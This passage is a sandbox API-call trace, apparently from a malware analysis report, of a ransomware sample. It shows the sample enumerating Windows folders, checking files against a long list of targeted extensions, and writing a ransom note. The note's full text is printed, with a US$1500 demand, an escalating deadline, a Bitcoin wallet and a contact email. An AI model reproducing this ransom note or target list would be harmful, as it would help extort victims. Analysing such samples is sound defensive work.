(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.odg") returned 0 [0122.861] lstrlenA (lpString="*.odg") returned 5 [0122.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.raw") returned 0 [0122.861] lstrlenA (lpString="*.raw") returned 5 [0122.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.nef") returned 0 [0122.861] lstrlenA (lpString="*.nef") returned 5 [0122.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.svg") returned 0 [0122.861] lstrlenA (lpString="*.svg") returned 5 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.psd") returned 0 [0122.862] lstrlenA (lpString="*.psd") returned 5 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.vmx") returned 0 [0122.862] lstrlenA (lpString="*.vmx") returned 5 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0122.862] lstrlenA (lpString="*.vmdk") returned 6 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.vdi") returned 0 [0122.862] lstrlenA (lpString="*.vdi") returned 5 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.lay6") returned 0 [0122.862] lstrlenA (lpString="*.lay6") returned 6 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0122.862] lstrlenA (lpString="*.mpeg") returned 6 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.djvu") returned 0 [0122.862] lstrlenA (lpString="*.djvu") returned 6 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.tiff") returned 0 [0122.862] lstrlenA (lpString="*.tiff") returned 6 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.backup") returned 0 [0122.862] lstrlenA (lpString="*.backup") returned 8 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.pdf") returned 0 [0122.862] lstrlenA (lpString="*.pdf") returned 5 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.cert") returned 0 [0122.862] lstrlenA (lpString="*.cert") returned 6 [0122.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.docm") returned 0 [0122.863] lstrlenA (lpString="*.docm") returned 6 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0122.863] lstrlenA (lpString="*.xlsm") returned 6 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.dwg") returned 0 [0122.863] lstrlenA (lpString="*.dwg") returned 5 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.nd") returned 0 [0122.863] lstrlenA (lpString="*.nd") returned 4 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.tlg") returned 0 [0122.863] lstrlenA (lpString="*.tlg") returned 5 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.lgb") returned 0 [0122.863] lstrlenA (lpString="*.lgb") returned 5 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.mov") returned 0 [0122.863] lstrlenA (lpString="*.mov") returned 5 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.xdw") returned 0 [0122.863] lstrlenA (lpString="*.xdw") returned 5 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.ods") returned 0 [0122.863] lstrlenA (lpString="*.ods") returned 5 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.wav") returned 0 [0122.863] lstrlenA (lpString="*.wav") returned 5 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.mp3") returned 0 [0122.863] lstrlenA (lpString="*.mp3") returned 5 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.aiff") returned 0 [0122.863] lstrlenA (lpString="*.aiff") returned 6 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.flac") returned 0 [0122.863] lstrlenA (lpString="*.flac") returned 6 [0122.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.m4a") returned 0 [0122.864] lstrlenA (lpString="*.m4a") returned 5 [0122.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll.aux", pszSpec="*.csv") returned 0 [0122.864] lstrlenA (lpString="*.csv") returned 5 [0122.864] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadb08ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadb08ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadb08ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DataVisualization.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0122.864] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0122.864] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb08ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadb08ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadb08ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a89d4c6667700b28237bfec047dd7f80", cAlternateFileName="A89D4C~1")) returned 0 [0122.864] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0122.864] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8aa28f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8aa28f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.8dc504e4#", cAlternateFileName="SYSTEM~1.8DC")) returned 1 [0122.864] lstrcmpA (lpString1=".", lpString2="System.Web.8dc504e4#") returned -1 [0122.864] lstrcmpA (lpString1="..", lpString2="System.Web.8dc504e4#") returned -1 [0122.864] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0122.864] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.8dc504e4#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#" [0122.864] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#") returned 67 [0122.864] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8aa28f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8aa28f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0122.866] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.866] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8aa28f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8aa28f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.866] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.866] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.866] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8aa28f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8aa28f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bcd90e8377eb8e4cb67d9f5d85bf5f9e", cAlternateFileName="BCD90E~1")) returned 1 [0122.866] lstrcmpA (lpString1=".", lpString2="bcd90e8377eb8e4cb67d9f5d85bf5f9e") returned -1 [0122.866] lstrcmpA (lpString1="..", lpString2="bcd90e8377eb8e4cb67d9f5d85bf5f9e") returned -1 [0122.866] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\*.*") returned="*.*" [0122.866] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\", lpString2="bcd90e8377eb8e4cb67d9f5d85bf5f9e" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e" [0122.866] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e") returned 100 [0122.866] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8aa28f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8aa28f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0122.911] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.911] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8aa28f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8aa28f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.911] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.911] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.911] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa28f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8aa28f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8aa28f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.ApplicationServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0122.911] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.911] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.ApplicationServices.ni.dll") returned -1 [0122.911] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.ApplicationServices.ni.dll") returned -1 [0122.911] lstrcmpiA (lpString1="", lpString2="System.Web.ApplicationServices.ni.dll") returned -1 [0122.912] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\*.*") returned="*.*" [0122.912] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\" [0122.912] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\") returned="" [0122.912] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\HOW TO DECRYPT FILES.txt" [0122.912] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\how to decrypt files.txt")) returned 0xffffffff [0122.912] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0122.913] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0122.913] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0122.915] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0122.915] CloseHandle (hObject=0x90) returned 1 [0122.915] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\", lpString2="System.Web.ApplicationServices.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll" [0122.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.ems") returned 0 [0122.915] lstrlenA (lpString="*.ems") returned 5 [0122.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.db") returned 0 [0122.916] lstrlenA (lpString="*.db") returned 4 [0122.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.dbf") returned 0 [0122.916] lstrlenA (lpString="*.dbf") returned 5 [0122.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.myox") returned 0 [0122.916] lstrlenA (lpString="*.myox") returned 6 [0122.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.myo") returned 0 [0122.916] lstrlenA (lpString="*.myo") returned 5 [0122.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.qbw") returned 0 [0122.916] lstrlenA (lpString="*.qbw") returned 5 [0122.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.qbb") returned 0 [0122.916] lstrlenA (lpString="*.qbb") returned 5 [0122.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.qbm") returned 0 [0122.916] lstrlenA (lpString="*.qbm") returned 5 [0122.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.qbo") returned 0 [0122.916] lstrlenA (lpString="*.qbo") returned 5 [0122.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.qbx") returned 0 [0122.916] lstrlenA (lpString="*.qbx") returned 5 [0122.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.qba") returned 0 [0122.917] lstrlenA (lpString="*.qba") returned 5 [0122.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.qby") returned 0 [0122.917] lstrlenA (lpString="*.qby") returned 5 [0122.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.qbj") returned 0 [0122.917] lstrlenA (lpString="*.qbj") returned 5 [0122.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.ofx") returned 0 [0122.917] lstrlenA (lpString="*.ofx") returned 5 [0122.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.qif") returned 0 [0122.917] lstrlenA (lpString="*.qif") returned 5 [0122.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.mye") returned 0 [0122.917] lstrlenA (lpString="*.mye") returned 5 [0122.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.mbox") returned 0 [0122.917] lstrlenA (lpString="*.mbox") returned 6 [0122.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.eml") returned 0 [0122.917] lstrlenA (lpString="*.eml") returned 5 [0122.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.pst") returned 0 [0122.917] lstrlenA (lpString="*.pst") returned 5 [0122.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.ost") returned 0 [0122.917] lstrlenA (lpString="*.ost") returned 5 [0122.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.idx") returned 0 [0122.918] lstrlenA (lpString="*.idx") returned 5 [0122.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8dc504e4#\\bcd90e8377eb8e4cb67d9f5d85bf5f9e\\System.Web.ApplicationServices.ni.dll", pszSpec="*.dbx") returned 0 [0122.918] lstrlenA (lpString="*.dbx") returned 5 [0122.918] PathMatchSpecA 